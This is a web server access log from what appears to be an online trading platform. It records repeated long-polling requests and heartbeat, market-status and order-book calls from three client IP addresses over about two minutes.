[09/Jan/2026:10:18:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925403841 HTTP/1.1" -
[09/Jan/2026:10:18:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925408147 HTTP/1.1" -
[09/Jan/2026:10:18:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925420231 HTTP/1.1" -
[09/Jan/2026:10:18:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925408867 HTTP/1.1" -
[09/Jan/2026:10:19:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925413296 HTTP/1.1" -
[09/Jan/2026:10:19:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925426234 HTTP/1.1" -
[09/Jan/2026:10:19:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925413915 HTTP/1.1" -
[09/Jan/2026:10:19:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925418428 HTTP/1.1" -
[09/Jan/2026:10:19:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925432226 HTTP/1.1" -
[09/Jan/2026:10:19:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925418964 HTTP/1.1" -
[09/Jan/2026:10:19:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925423566 HTTP/1.1" -
[09/Jan/2026:10:19:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925438230 HTTP/1.1" -
[09/Jan/2026:10:19:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925423996 HTTP/1.1" -
[09/Jan/2026:10:19:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:19:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925428699 HTTP/1.1" -
[09/Jan/2026:10:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925429046 HTTP/1.1" -
[09/Jan/2026:10:19:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925444236 HTTP/1.1" -
[09/Jan/2026:10:19:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925433832 HTTP/1.1" -
[09/Jan/2026:10:19:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:19:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925434084 HTTP/1.1" -
[09/Jan/2026:10:19:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925450226 HTTP/1.1" -
[09/Jan/2026:10:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925438876 HTTP/1.1" -
[09/Jan/2026:10:19:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925439112 HTTP/1.1" -
[09/Jan/2026:10:19:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925444000 HTTP/1.1" -
[09/Jan/2026:10:19:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925456227 HTTP/1.1" -
[09/Jan/2026:10:19:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925444165 HTTP/1.1" -
[09/Jan/2026:10:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925449205 HTTP/1.1" -
[09/Jan/2026:10:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925462231 HTTP/1.1" -
[09/Jan/2026:10:19:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:19:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:19:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925449198 HTTP/1.1" -
[09/Jan/2026:10:19:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925454355 HTTP/1.1" -
[09/Jan/2026:10:19:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925468229 HTTP/1.1" -
[09/Jan/2026:10:19:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925454246 HTTP/1.1" -
[09/Jan/2026:10:19:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:19:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925459665 HTTP/1.1" -
[09/Jan/2026:10:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:19:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925459296 HTTP/1.1" -
[09/Jan/2026:10:19:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925474234 HTTP/1.1" -
[09/Jan/2026:10:19:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925464799 HTTP/1.1" -
[09/Jan/2026:10:19:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:19:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:19:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925464322 HTTP/1.1" -
[09/Jan/2026:10:19:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925480227 HTTP/1.1" -
[09/Jan/2026:10:19:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925469868 HTTP/1.1" -
[09/Jan/2026:10:20:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925469347 HTTP/1.1" -
[09/Jan/2026:10:20:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925486234 HTTP/1.1" -
[09/Jan/2026:10:20:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925475029 HTTP/1.1" -
[09/Jan/2026:10:20:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925474361 HTTP/1.1" -
[09/Jan/2026:10:20:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925480171 HTTP/1.1" -
[09/Jan/2026:10:20:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925492233 HTTP/1.1" -
[09/Jan/2026:10:20:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925479380 HTTP/1.1" -
[09/Jan/2026:10:20:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925485329 HTTP/1.1" -
[09/Jan/2026:10:20:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925498226 HTTP/1.1" -
[09/Jan/2026:10:20:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925484402 HTTP/1.1" -
[09/Jan/2026:10:20:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:20:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925490476 HTTP/1.1" -
[09/Jan/2026:10:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:20:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925489450 HTTP/1.1" -
[09/Jan/2026:10:20:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925504225 HTTP/1.1" -
[09/Jan/2026:10:20:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1172
[09/Jan/2026:10:20:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:20:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:20:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925495609 HTTP/1.1" -
[09/Jan/2026:10:20:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925494489 HTTP/1.1" -
[09/Jan/2026:10:20:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925510228 HTTP/1.1" -
[09/Jan/2026:10:20:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925500661 HTTP/1.1" -
[09/Jan/2026:10:20:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925499515 HTTP/1.1" -
[09/Jan/2026:10:20:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925516235 HTTP/1.1" -
[09/Jan/2026:10:20:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925505831 HTTP/1.1" -
[09/Jan/2026:10:20:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925504538 HTTP/1.1" -
[09/Jan/2026:10:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925522236 HTTP/1.1" -
